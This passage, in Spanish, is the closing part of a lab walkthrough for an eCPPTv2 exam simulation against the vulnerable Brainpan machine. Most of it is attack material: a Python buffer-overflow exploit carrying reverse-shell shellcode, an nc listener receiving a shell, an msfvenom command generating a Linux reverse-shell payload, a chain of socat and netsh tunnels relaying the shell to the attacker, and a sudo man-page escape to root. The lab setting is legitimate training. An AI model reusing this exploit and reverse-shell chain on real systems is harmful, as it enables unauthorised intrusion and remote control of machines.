shellcode = (b"\xbb\x8f\x7a\x95\xab\xdb\xc8\xd9\x74\x24\xf4\x58\x29\xc9"
b"\xb1\x52\x31\x58\x12\x83\xe8\xfc\x03\xd7\x74\x77\x5e\x1b"
b"\x60\xf5\xa1\xe3\x71\x9a\x28\x06\x40\x9a\x4f\x43\xf3\x2a"
b"\x1b\x01\xf8\xc1\x49\xb1\x8b\xa4\x45\xb6\x3c\x02\xb0\xf9"
b"\xbd\x3f\x80\x98\x3d\x42\xd5\x7a\x7f\x8d\x28\x7b\xb8\xf0"
b"\xc1\x29\x11\x7e\x77\xdd\x16\xca\x44\x56\x64\xda\xcc\x8b"
b"\x3d\xdd\xfd\x1a\x35\x84\xdd\x9d\x9a\xbc\x57\x85\xff\xf9"
b"\x2e\x3e\xcb\x76\xb1\x96\x05\x76\x1e\xd7\xa9\x85\x5e\x10"
b"\x0d\x76\x15\x68\x6d\x0b\x2e\xaf\x0f\xd7\xbb\x2b\xb7\x9c"
b"\x1c\x97\x49\x70\xfa\x5c\x45\x3d\x88\x3a\x4a\xc0\x5d\x31"
b"\x76\x49\x60\x95\xfe\x09\x47\x31\x5a\xc9\xe6\x60\x06\xbc"
b"\x17\x72\xe9\x61\xb2\xf9\x04\x75\xcf\xa0\x40\xba\xe2\x5a"
b"\x91\xd4\x75\x29\xa3\x7b\x2e\xa5\x8f\xf4\xe8\x32\xef\x2e"
b"\x4c\xac\x0e\xd1\xad\xe5\xd4\x85\xfd\x9d\xfd\xa5\x95\x5d"
b"\x01\x70\x39\x0d\xad\x2b\xfa\xfd\x0d\x9c\x92\x17\x82\xc3"
b"\x83\x18\x48\x6c\x29\xe3\x1b\x53\x06\xea\x4f\x3b\x55\xec"
b"\x6e\x07\xd0\x0a\x1a\x67\xb5\x85\xb3\x1e\x9c\x5d\x25\xde"
b"\x0a\x18\x65\x54\xb9\xdd\x28\x9d\xb4\xcd\xdd\x6d\x83\xaf"
b"\x48\x71\x39\xc7\x17\xe0\xa6\x17\x51\x19\x71\x40\x36\xef"
b"\x88\x04\xaa\x56\x23\x3a\x37\x0e\x0c\xfe\xec\xf3\x93\xff"
b"\x61\x4f\xb0\xef\xbf\x50\xfc\x5b\x10\x07\xaa\x35\xd6\xf1"
b"\x1c\xef\x80\xae\xf6\x67\x54\x9d\xc8\xf1\x59\xc8\xbe\x1d"
b"\xeb\xa5\x86\x22\xc4\x21\x0f\x5b\x38\xd2\xf0\xb6\xf8\xf2"
b"\x12\x12\xf5\x9a\x8a\xf7\xb4\xc6\x2c\x22\xfa\xfe\xae\xc6"
b"\x83\x04\xae\xa3\x86\x41\x68\x58\xfb\xda\x1d\x5e\xa8\xdb"
b"\x37")
payload = before_eip + eip + b"\x90"*16 + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.145", 9999))
s.send(payload)
s.close()
Vamos a probar el script. Nos ponemos en escuha en el puerto 443, arrancamos el binario brainpan.exe en la máquina Windows 7 y ejecutamos script
1
2
3
4
5
6
7
8
9
10
#ATACANTE
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.145] 50007
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
whoami
whoami
win-jd2comgj58m\yorch
Hemos ganado acceso a la máquina Windows 7 por lo que comprobamos que funciona correctamente. Ahora tenemos que trasladar este concepto a la máquina Brainpan. Para ello debemos cambiar el shellcode para que la máquina Brainpan envíe la reverse shell a su nodo más cercano que es la Matrix y redirigir la petición por los túneles hasta nuestra máquina atacante. Generamos nuevo shellcode y sustituimos en el script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.15.12.130 LPORT=1346 -f c -b "\x00" EXITFUNC=thread
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
unsigned char buf[] =
"\xb8\x56\x3f\x93\xe7\xdb\xd9\xd9\x74\x24\xf4\x5e\x2b\xc9"
"\xb1\x12\x31\x46\x12\x83\xc6\x04\x03\x10\x31\x71\x12\xad"
"\x96\x82\x3e\x9e\x6b\x3e\xab\x22\xe5\x21\x9b\x44\x38\x21"
"\x4f\xd1\x72\x1d\xbd\x61\x3b\x1b\xc4\x09\xb6\xd4\x3a\x4b"
"\xae\xe8\x42\x4e\x6d\x64\xa3\xe0\x17\x26\x75\x53\x6b\xc5"
"\xfc\xb2\x46\x4a\xac\x5c\x37\x64\x22\xf4\xaf\x55\xeb\x66"
"\x59\x23\x10\x34\xca\xba\x36\x08\xe7\x71\x38";
Seguimos creando los túneles correspondientes
1
2
3
4
5
6
7
8
9
10
11
#MATRIX
root@porteus:/tmp# ./socat TCP-LISTEN:1346,fork TCP:172.18.0.130:1347
#DUMBLEDORE
C:\Windows\system32>netsh interface portproxy add v4tov4 listenport=1347 listenaddress=0.0.0.0 connectport=1348 connectaddress=192.168.100.129
#NAGINI
root@Nagini:/tmp# ./socat TCP-LISTEN:1348,fork TCP:10.10.0.134:1349
#ARAGOG
root@Aragog:/tmp# ./socat TCP-LISTEN:1349,fork TCP:192.168.1.148:443
Nos ponemos en escucha en el puerto 443 y ejecutamos el script a través de proxychains
Escalada de Privilegios (Brainpan)
Listamos privilegios de sudo del usuario puck
y vemos que podemos ejecutar el binario anansi_util
como root sin proporcionar contraseña. Lo ejecutamos y vemos que nos permite abrir el manual de cualquier binario
1
2
3
4
5
6
7
8
9
10
11
12
puck@brainpan:/home/puck$ sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
Abrimos el manual de whoami
y nos abre el manual en modo paginated por lo que con !/bin/bash
escapamos del contexto de man y nos abre una shell con privilegios de root. La flag la encontramos en el directorio /root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual whoami
No manual entry for manual
root@brainpan:/usr/share/man# whoami
root
root@brainpan:/usr/share/man# cd /root
root@brainpan:~# ls
b.txt
root@brainpan:~# cat b.txt
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
http://www.techorganic.com
Hemos completado el laboratiorio de simulación del examen del eCPPTv2!!! Happy Hacking!!